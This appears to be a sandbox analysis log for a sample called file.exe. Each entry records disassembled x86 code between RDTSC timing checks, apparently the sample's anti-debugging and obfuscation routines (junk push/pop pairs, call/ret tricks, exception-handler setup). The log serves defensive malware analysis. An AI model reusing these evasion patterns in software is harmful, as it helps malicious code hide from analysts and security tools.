Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2A4114 second address: 2A41AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edi 0x00000009 jbe 00007F19111E3808h 0x0000000f pushad 0x00000010 popad 0x00000011 pop edi 0x00000012 nop 0x00000013 push 00000000h 0x00000015 push eax 0x00000016 call 00007F19111E3808h 0x0000001b pop eax 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 add dword ptr [esp+04h], 0000001Dh 0x00000028 inc eax 0x00000029 push eax 0x0000002a ret 0x0000002b pop eax 0x0000002c ret 0x0000002d push 00000000h 0x0000002f mov esi, dword ptr [ebp+122D3A29h] 0x00000035 push 00000000h 0x00000037 push 00000000h 0x00000039 push ebx 0x0000003a call 00007F19111E3808h 0x0000003f pop ebx 0x00000040 mov dword ptr [esp+04h], ebx 0x00000044 add dword ptr [esp+04h], 0000001Dh 0x0000004c inc ebx 0x0000004d push ebx 0x0000004e ret 0x0000004f pop ebx 0x00000050 ret 0x00000051 push ecx 0x00000052 or edi, 4D7D67C3h 0x00000058 pop edi 0x00000059 xchg eax, ebx 0x0000005a jmp 00007F19111E3810h 0x0000005f push eax 0x00000060 push eax 0x00000061 push edx 0x00000062 jmp 00007F19111E3817h 0x00000067 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2A725A second address: 2A7277 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F1910516D5Ch 0x0000000a jnl 00007F1910516D56h 0x00000010 popad 0x00000011 push eax 0x00000012 jl 00007F1910516D60h 0x00000018 pushad 0x00000019 push edx 0x0000001a pop edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2A7D90 second address: 2A7DEA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 mov edi, 0E239B0Bh 0x0000000e mov edi, esi 0x00000010 push 00000000h 0x00000012 stc 0x00000013 push 00000000h 0x00000015 stc 0x00000016 push ebx 0x00000017 pop edi 0x00000018 xchg eax, ebx 0x00000019 pushad 0x0000001a jmp 00007F19111E3815h 0x0000001f pushad 0x00000020 ja 00007F19111E3806h 0x00000026 jns 00007F19111E3806h 0x0000002c popad 0x0000002d popad 0x0000002e push eax 0x0000002f push eax 0x00000030 push edx 0x00000031 jmp 00007F19111E3819h 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2A7DEA second address: 2A7DFE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1910516D60h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2A8697 second address: 2A86A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F19111E380Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2A90C8 second address: 2A90CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2AA355 second address: 2AA365 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F19111E3812h 0x00000008 jnp 00007F19111E3806h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2AA365 second address: 2AA37D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F1910516D5Eh 0x0000000a js 00007F1910516D56h 0x00000010 push edi 0x00000011 pop edi 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2AA37D second address: 2AA383 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2AD144 second address: 2AD14A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2AD14A second address: 2AD154 instructions: 0x00000000 rdtsc 0x00000002 je 00007F19111E3806h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 261BAF second address: 261BB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B0E66 second address: 2B0E77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F19111E380Ah 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B134D second address: 2B1351 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B1351 second address: 2B135E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B2535 second address: 2B256A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F1910516D5Dh 0x00000008 push edi 0x00000009 pop edi 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 jmp 00007F1910516D69h 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B154C second address: 2B1551 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B1551 second address: 2B1562 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edi 0x00000009 jc 00007F1910516D5Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B1656 second address: 2B165C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B165C second address: 2B166F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1910516D5Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B2779 second address: 2B2789 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F19111E380Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B44BC second address: 2B44C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B372A second address: 2B3742 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jbe 00007F19111E3814h 0x0000000f pushad 0x00000010 jno 00007F19111E3806h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B3742 second address: 2B37E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 push 00000000h 0x00000008 push edi 0x00000009 call 00007F1910516D58h 0x0000000e pop edi 0x0000000f mov dword ptr [esp+04h], edi 0x00000013 add dword ptr [esp+04h], 00000014h 0x0000001b inc edi 0x0000001c push edi 0x0000001d ret 0x0000001e pop edi 0x0000001f ret 0x00000020 push dword ptr fs:[00000000h] 0x00000027 push 00000000h 0x00000029 push ebx 0x0000002a call 00007F1910516D58h 0x0000002f pop ebx 0x00000030 mov dword ptr [esp+04h], ebx 0x00000034 add dword ptr [esp+04h], 00000015h 0x0000003c inc ebx 0x0000003d push ebx 0x0000003e ret 0x0000003f pop ebx 0x00000040 ret 0x00000041 mov ebx, dword ptr [ebp+122D3362h] 0x00000047 mov dword ptr fs:[00000000h], esp 0x0000004e mov eax, dword ptr [ebp+122D024Dh] 0x00000054 push FFFFFFFFh 0x00000056 push 00000000h 0x00000058 push ecx 0x00000059 call 00007F1910516D58h 0x0000005e pop ecx 0x0000005f mov dword ptr [esp+04h], ecx 0x00000063 add dword ptr [esp+04h], 0000001Bh 0x0000006b inc ecx 0x0000006c push ecx 0x0000006d ret 0x0000006e pop ecx 0x0000006f ret 0x00000070 mov edi, dword ptr [ebp+122D1C8Fh] 0x00000076 push eax 0x00000077 jng 00007F1910516D74h 0x0000007d push eax 0x0000007e push edx 0x0000007f jmp 00007F1910516D66h 0x00000084 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B55FB second address: 2B55FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B466F second address: 2B471B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 jmp 00007F1910516D64h 0x0000000e push dword ptr fs:[00000000h] 0x00000015 push 00000000h 0x00000017 push ebx 0x00000018 call 00007F1910516D58h 0x0000001d pop ebx 0x0000001e mov dword ptr [esp+04h], ebx 0x00000022 add dword ptr [esp+04h], 00000017h 0x0000002a inc ebx 0x0000002b push ebx 0x0000002c ret 0x0000002d pop ebx 0x0000002e ret 0x0000002f add dword ptr [ebp+122D1885h], esi 0x00000035 mov dword ptr fs:[00000000h], esp 0x0000003c cmc 0x0000003d mov eax, dword ptr [ebp+122D100Dh] 0x00000043 call 00007F1910516D69h 0x00000048 mov ebx, dword ptr [ebp+122D3711h] 0x0000004e pop ebx 0x0000004f push FFFFFFFFh 0x00000051 push 00000000h 0x00000053 push ebp 0x00000054 call 00007F1910516D58h 0x00000059 pop ebp 0x0000005a mov dword ptr [esp+04h], ebp 0x0000005e add dword ptr [esp+04h], 00000019h 0x00000066 inc ebp 0x00000067 push ebp 0x00000068 ret 0x00000069 pop ebp 0x0000006a ret 0x0000006b or dword ptr [ebp+122D33C0h], ecx 0x00000071 add dword ptr [ebp+122D32ABh], ecx 0x00000077 nop 0x00000078 push eax 0x00000079 push edx 0x0000007a pushad 0x0000007b push eax 0x0000007c push edx 0x0000007d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B471B second address: 2B4722 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B752B second address: 2B752F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B75AE second address: 2B75B8 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F19111E3806h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B858E second address: 2B8598 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F1910516D56h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B8598 second address: 2B859C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B859C second address: 2B85AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jbe 00007F1910516D56h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B771D second address: 2B7727 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F19111E3806h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B7727 second address: 2B772E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B85AE second address: 2B85FF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007F19111E3808h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f nop 0x00000010 jo 00007F19111E3819h 0x00000016 jmp 00007F19111E3813h 0x0000001b push 00000000h 0x0000001d add dword ptr [ebp+12488F2Bh], edx 0x00000023 push 00000000h 0x00000025 pushad 0x00000026 jmp 00007F19111E380Fh 0x0000002b sub eax, 1C83AC21h 0x00000031 popad 0x00000032 xchg eax, esi 0x00000033 push eax 0x00000034 push edx 0x00000035 push edi 0x00000036 push eax 0x00000037 pop eax 0x00000038 pop edi 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B85FF second address: 2B861F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jnp 00007F1910516D56h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F1910516D5Fh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B861F second address: 2B8634 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19111E3811h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B8750 second address: 2B8763 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 jmp 00007F1910516D5Bh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B8763 second address: 2B87EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 jmp 00007F19111E3819h 0x0000000e push dword ptr fs:[00000000h] 0x00000015 push 00000000h 0x00000017 push edi 0x00000018 call 00007F19111E3808h 0x0000001d pop edi 0x0000001e mov dword ptr [esp+04h], edi 0x00000022 add dword ptr [esp+04h], 0000001Ah 0x0000002a inc edi 0x0000002b push edi 0x0000002c ret 0x0000002d pop edi 0x0000002e ret 0x0000002f mov dword ptr fs:[00000000h], esp 0x00000036 mov eax, dword ptr [ebp+122D0245h] 0x0000003c push 00000000h 0x0000003e push ebp 0x0000003f call 00007F19111E3808h 0x00000044 pop ebp 0x00000045 mov dword ptr [esp+04h], ebp 0x00000049 add dword ptr [esp+04h], 0000001Ch 0x00000051 inc ebp 0x00000052 push ebp 0x00000053 ret 0x00000054 pop ebp 0x00000055 ret 0x00000056 mov bl, 14h 0x00000058 push FFFFFFFFh 0x0000005a xor edi, 727A9243h 0x00000060 push eax 0x00000061 push ecx 0x00000062 push eax 0x00000063 push edx 0x00000064 pushad 0x00000065 popad 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2BB453 second address: 2BB49F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 jmp 00007F1910516D5Dh 0x0000000e push 00000000h 0x00000010 pushad 0x00000011 je 00007F1910516D6Ah 0x00000017 jmp 00007F1910516D64h 0x0000001c movsx edx, bx 0x0000001f popad 0x00000020 push 00000000h 0x00000022 mov edi, esi 0x00000024 push eax 0x00000025 push eax 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F1910516D5Dh 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2BD346 second address: 2BD34A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2BE342 second address: 2BE34C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F1910516D56h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2BE34C second address: 2BE373 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jmp 00007F19111E3818h 0x00000011 push eax 0x00000012 pop eax 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B97AD second address: 2B97B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2BE373 second address: 2BE378 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B97B2 second address: 2B97B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B97B8 second address: 2B97BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2BF2E8 second address: 2BF2ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2BF2ED second address: 2BF2F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2C02DA second address: 2C02E4 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F1910516D5Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2BF531 second address: 2BF537 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2BF537 second address: 2BF53C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2C04F5 second address: 2C04F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2C04F9 second address: 2C0513 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1910516D66h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2CAC2B second address: 2CAC59 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F19111E3806h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007F19111E380Ah 0x00000012 jmp 00007F19111E3811h 0x00000017 popad 0x00000018 pushad 0x00000019 push ebx 0x0000001a pop ebx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2CAC59 second address: 2CAC61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2CA3FD second address: 2CA401 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2CA401 second address: 2CA409 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2CA409 second address: 2CA415 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F19111E3806h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2CA5B4 second address: 2CA5B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2CA5B8 second address: 2CA5BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2CA5BC second address: 2CA5C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2CA863 second address: 2CA868 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2CA868 second address: 2CA8A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F1910516D5Fh 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jne 00007F1910516D89h 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F1910516D66h 0x0000001b jp 00007F1910516D56h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2CA8A4 second address: 2CA8A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2CD1E6 second address: 2CD1EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D793A second address: 2D794B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F19111E3806h 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e pop edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D794B second address: 2D794F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D794F second address: 2D7955 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D7955 second address: 2D7976 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F1910516D5Ch 0x00000008 pushad 0x00000009 jmp 00007F1910516D60h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 256002 second address: 256006 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D6570 second address: 2D6576 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D6576 second address: 2D6581 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F19111E3806h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D6581 second address: 2D65A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edx 0x00000006 pop edx 0x00000007 jmp 00007F1910516D5Eh 0x0000000c popad 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 jno 00007F1910516D56h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D65A2 second address: 2D65C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jne 00007F19111E3806h 0x00000010 jmp 00007F19111E3817h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D6CE2 second address: 2D6CFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F1910516D5Fh 0x0000000c jc 00007F1910516D56h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D6CFE second address: 2D6D3E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 jmp 00007F19111E3817h 0x0000000e jnl 00007F19111E3806h 0x00000014 pop edx 0x00000015 popad 0x00000016 jo 00007F19111E3837h 0x0000001c push edx 0x0000001d jmp 00007F19111E380Bh 0x00000022 push ecx 0x00000023 pop ecx 0x00000024 pop edx 0x00000025 pushad 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D6D3E second address: 2D6D46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D7032 second address: 2D7048 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19111E3812h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D7048 second address: 2D705F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1910516D63h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D705F second address: 2D706E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19111E380Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D7492 second address: 2D749D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
